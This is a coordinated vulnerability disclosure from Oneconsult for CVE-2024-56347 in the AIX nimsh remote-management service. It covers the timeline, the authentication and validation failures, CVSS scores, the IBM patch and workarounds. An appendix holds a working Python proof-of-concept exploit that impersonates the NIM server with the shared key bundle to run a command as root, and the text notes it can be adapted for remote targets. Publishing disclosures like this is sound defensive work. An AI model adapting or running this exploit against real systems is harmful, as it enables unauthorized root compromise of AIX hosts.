oneconsult
together against cyberattacks

Vulnerability Disclosure

AIX nimsh Security Issues

CVE-2024-56347

PUBLIC DISCLOSURE DATE	05 May 2025
VERSION	1.3
CLASSIFICATION	Public / TLP:CLEAR

Oneconsult AG
Giesshübelstrasse 45
8045 Zürich
Switzerland

Tel +41 43 377 22 22
www.oneconsult.com
info@oneconsult.com

Table of Contents

FIRST Traffic Light Protocol (https://www.first.org/tlp/) classification

TLP:CLEAR

Note on the use of this document:
This version of this document is intended for public release and can be freely distributed.

Version	Date	Description	Author
1.3	30-Apr-2025	Finalization for release	Jan Alsenz
1.2	29-Apr-2025	Linguistic review	Lena Mohr
1.1	14-Apr-2025	Completion of documentation for release	Jan Alsenz
1.0	05-Dec-2024	Initial version for disclosure	Jan Alsenz

1. General Information

1.1 Introduction

This document discloses multiple security failures in the AIX "nimsh" service, which in combination can lead to a complete system compromise and arbitrary remote command execution if certain preconditions are fulfilled by an attacker. It also contains a timeline and information about the detected vulnerability.

The vulnerability was identified during a customer penetration test engagement by Oneconsult in December 2024 and has been published in coordination with the customer and IBM.

1.2 Timeline

Date	Description	Name
05-May-2025	Public release	Oneconsult
18-Mar-2025	IBM releases security bulletin and patches	IBM
04-Mar-2025	Public disclosure extension granted and postponed to 5 May 2025 to give AIX users at least 30 days to apply patches	Oneconsult
25-Feb-2025	IBM PSIRT requests extension of public disclosure deadline	IBM PSIRT
06-Dec-2024	IBM PSIRT confirms receipt of report	IBM PSIRT
06-Dec-2024	Disclosure to IBM & CVE request	Oneconsult
05-Dec-2024	Received customer approval to start public disclosure process	Customer
03-Dec-2024 – 04-Dec-2024	Verification and coordination with customer	Jan Alsenz
03-Dec-2024	Identification of vulnerability	Jan Alsenz

1.3 Context

AIX systems support the "nimsh" service, which is used for remote management by the Network Installation Management (NIM) server in an AIX environment.

The "nimsh" service listens on TCP port 3901 by default and supports authentication via TLS to prevent unauthorized access and command execution. Any command that is successfully received and authenticated is then executed as the "root" user.

2. Vulnerability Overview

The "nimsh" service accepts TCP connections from arbitrary sources on its port (3901 by default) to execute commands from NIM management operations. These commands are sent in plaintext[1] and, if SSL/TLS authentication is configured (which is the recommended setting), require a successful TLS handshake with a client certificate provided by the NIM server. A back connection from the "nimsh" server to the requesting system must also be possible, as the stderr output of the commands is passed there. The commands given are then executed by "nimsh" on the server as the root user and without any checks or restrictions.

Multiple validation and protocol failures result in vulnerabilities that allow to bypass the security mechanisms and to execute arbitrary commands on the affected systems.

First, the actual command data is transmitted in plaintext and not bound to the TLS handshake. As a result, the command could be manipulated by an attacker with man-in-the-middle capabilities on the network.

Second, the key bundle for the "nimsh" services is distributed by the NIM server in plaintext and can be requested there without any authentication via TFTP or the "nimesis" registration port. This key bundle contains not only the root certificate, but also a pre-built server certificate, which is identical for all "nimsh" services, and the corresponding private key. In addition, the certificate does not have any restrictions on use (to prevent use for client authentication) and there is no validation if the hostname of the connecting system matches the name in the certificate. This allows for using the key bundle, which is freely available from the NIM server, for client authentication with the "nimsh" service.

The only hurdle an attacker has to overcome is that the lookup of the certificate in the "/ssl_nimsh/certs" folder for the current session is based on the hostname returned by a reverse DNS lookup. This means that an attacker has to find a way to intercept DNS requests by the target system or to inject a chosen name into the DNS system (e.g. via DHCP).

[1] https://www.ibm.com/support/pages/nimsh-over-ssl

3. Vulnerability Details

3.1 Proof of Concept (PoC)

A local proof of concept has been developed as a Python script (see Appendix – Python PoC), which showcases the validation failures and does not require any special DNS setup.

The PoC must be executed as a root user as the source port of the connection has to come from a privileged port (<1024).

The Python script first collects the local system and NIM server information to create a valid request. The key bundle from the configured NIM server is then copied to a file with the same name as the local system. A simple server port is then opened to accept the back connection for the stderr output.

After everything has been set up, a command is sent to create the "/root/nimsh_poc" file. The TLS handshake is executed using the same file that was created with the hostname of the local system in "/ssl_nimsh/certs".

After a successful handshake, the information from the server certificate is displayed and checks are carried out if the "/root/nimsh_poc" file has been created by the "nimsh" service.

The copied certificate and the PoC file are then deleted.

Note: As the PoC script has to be executed on the local system with "root" permissions, it does not actually demonstrate a remote command execution or privilege escalation, but it can easily be modified to connect to a remote system, which then needs to be prepared by either creating an appropriate key bundle file or populating the hosts file with an appropriate reverse name.

3.2 Verification Failures and Other Findings

A number of expected or possible verifications are either not implemented or do not work. Most important are the following:

- Provided server certificate can be used for client authentication
- Hostname of the connecting client is not verified against the client certificate
- Name of the certificate file and hostname inside the certificate are not matched
- Command to execute is not cryptographically bound to the TLS handshake

In addition, the command in sent in plaintext and is vulnerable to sniffing and man-in-the-middle attacks, and a key bundle that allows authentication with the "nimsh" service can be retrieved from the connected NIM server without authentication via TFTP ("/tftpboot/server.pem") or by sending a special command to the "nimesis" registration port. The key bundle can also be collected by an attacker with unprivileged access to any managed AIX system, as the relevant files in "/ssl_nimsh/certs" can be read by any user.

3.3 Known Affected Versions

The vulnerability was verified on an AIX server built on **AIX 7.2 TL5**. Due to the nature of the vulnerability and the available documentation, it seems likely that all previous and current AIX versions from at least 6.1 TL3 to 7.3 are also vulnerable. However, only AIX 7.2 and 7.3 were confirmed by IBM, as these are the currently supported versions.

3.4 IBM Patches & Security Bulletin

IBM has released a security bulletin including patches/updates:

- https://www.ibm.com/support/pages/node/7186621

3.5 Common Vulnerabilities and Exposures (CVE) Reference

CVE standardizes the unique identification and tracking of security vulnerabilities, ensuring consistent communication and effective prioritization.

The CVE entry for the vulnerability described in this document can be found at the following URL:

- https://www.cve.org/CVERecord?id=CVE-2024-56347

3.6 Common Vulnerability Scoring System (CVSS) Score

CVSS standardizes the rating and evaluation of security vulnerabilities, ensuring consistent quantification and effective prioritization.

For the vulnerability described in this document, the following CVSS 4.0 rating and vector was determined:

- **9.2 / Critical** (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

The IBM security bulletin used the following CVSS 3.1 rating and vector:

- **9.6 / Critical** (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

3.7 Known Workarounds

As a workaround, the "nimsh" push function can be disabled via the "nimclient -P" command. This disables all remote commands, and any maintenance has to be executed locally via the "nimclient" command instead of centrally via a NIM server.

To reduce the attack surface, network access to the "nimsh" listening port should be restricted.

4. Appendix – Python PoC

```
# Copyright (C) 2025 Oneconsult AG (Jan Alsenz) - All Rights Reserved
#
# This is a Proof-of-Concept for a security vulnerability may only be used in environment controlled by you and with proper
care and preparation.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.


import asyncio
import socket
import sys
import subprocess
import os
import ssl
import shutil

async def errconnect(reader, writer):
  print('nimsh> stderr connected', file=sys.stderr)
  ret = b''
  rc_reached = False
  rc_done = False
  while not rc_done:
    try:
      ret += await reader.readexactly(1)
      if ret == b'rc=':
        rc_reached = True
      if rc_reached and ret[-1] == b' '[0] or ret[-1] == b'\x0a'[0]:
        rc_done = True
    except asyncio.IncompleteReadError as e:
      ret += e.partial
      break

  if rc_done:
    print(f'nimsh> command returned code: {ret[3:].decode("ascii")}', file=sys.stderr)
    stderr = b'a'
    cont = False
    while len(stderr) > 0:
      stderr = await reader.read(1024)
      if len(stderr) > 0:
        if not cont:
          print('stderr>', file=sys.stderr)
          cont = True
        print(f'{stderr.decode("ascii")}', end='', file=sys.stderr)
    print(file=sys.stderr)
  elif ret is not None and len(ret) > 0:
    print(f'nimsh> error:\n{ret.decode("ascii")}', file=sys.stderr)

  writer.close()

async def nimsh_exec(target, port, nimid, hostid, host_ip, cmd):
  errserver = await asyncio.start_server(errconnect, port=10025, reuse_port=True)
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
  sock.bind((host_ip, 1023))
  sock.connect((target, port))
  reader, writer = await asyncio.open_connection(sock=sock)
  writer.write(b'10025\x00')
  writer.write(cmd[0].encode('ascii')+b'\x00'+hostid.encode('ascii')+b'\x00'+nimid.encode('ascii')+b'\x00')
  writer.write(b'/usr/bin/touch /root/nimsh_poc\x00')
  await writer.drain()
  resp = await reader.read(1)

  if (cmd[0]=='0' and resp == b'1'):
    writer.transport.set_protocol(asyncio.protocols.BaseProtocol())
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.load_verify_locations(cafile=f"/ssl_nimsh/certs/{target}.0", capath=f"/ssl_nimsh/certs/")
    ctx.load_cert_chain(certfile=f"/ssl_nimsh/certs/{target}.0", keyfile=f"/ssl_nimsh/certs/{target}.0")
    tlstransport = await asyncio.get_event_loop().start_tls(writer.transport, writer.transport.get_protocol(), ctx)

    ssl_obj = tlstransport.get_extra_info('ssl_object')
    print(f"nimsh> TLS handshake sucessful Server identity is: {ssl_obj.getpeercert()}")
    await asyncio.sleep(0.1)
    tlstransport.close()
  else:
    print(f'error> got unexpected response {resp}', file=sys.stderr)
    return

  writer.close()
  errserver.close()
  await errserver.wait_closed()
  await asyncio.sleep(0.1)
  #await writer.wait_closed()

async def main():
  if os.path.exists('./uname'):
    with open('./uname', 'r') as file:
```

```
      uname = file.read()
  else:
    uname = subprocess.check_output(['/usr/bin/uname', '-n', '-m']).decode('ascii')
  hostname, hostid = uname.strip().split(' ')

  if os.path.exists('./niminfo'):
    info_path = './niminfo'
  else:
    info_path = '/etc/niminfo'

  nimid = None
  nim_name = None
  with open(info_path, 'r') as file:
    lines = file.readlines()
    for line in lines:
      if line.startswith('export NIM_MASTERID='):
        nimid = line.strip().split('=')[1]
      elif line.startswith('export NIM_MASTER_HOSTNAME='):
        nim_name = line.strip().split('=')[1]

  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  try:
    s.connect((nim_name, 1))
    host_ip = s.getsockname()[0]
  finally:
    s.close()

  target_port = 3901

  print(f'info> using target server "{hostname}" ({host_ip}) (CPUID "{hostid}") on port {target_port}.', file=sys.stderr)
  print(f'info> using identity NIM CPUID "{nimid}".', file=sys.stderr)

  nim_server_pem = None
  test_cert = f"/ssl_nimsh/certs/{hostname}.0"
  if not os.path.exists(test_cert):
    if os.path.exists(f"/ssl_nimsh/certs/{nim_name}.0"):
      nim_server_pem = f"/ssl_nimsh/certs/{nim_name}.0"
    elif os.path.exists(f"/ssl_nimsh/certs/{nim_name.split('.')[0]}.0"):
      nim_server_pem = f"/ssl_nimsh/certs/{nim_name.split('.')[0]}.0"
    else:
      print(f'error> could not find certificate to use for impersonation.', file=sys.stderr)
      exit(1)
    shutil.copy(nim_server_pem, test_cert)

  print(f'info> using certificate {test_cert}{"" if nim_server_pem is None else " copied from "+nim_server_pem}',
file=sys.stderr)

  if os.path.exists("/root/nimsh_poc"):
    print(f'error> /root/nimsh_poc already exists.', file=sys.stderr)
    exit(1)

  await nimsh_exec(hostname, target_port, nimid, hostid, host_ip, ['0']);

  if os.path.exists("/root/nimsh_poc"):
    print(f'nimsh> /root/nimsh_poc was created - command was executed by nimsh')
    os.remove("/root/nimsh_poc")
  else:
    print(f'error> /root/nimsh_poc was not created - command was not executed by nimsh')

  if nim_server_pem is not None:
    os.remove(test_cert)

  exit(0)

asyncio.run(main())
```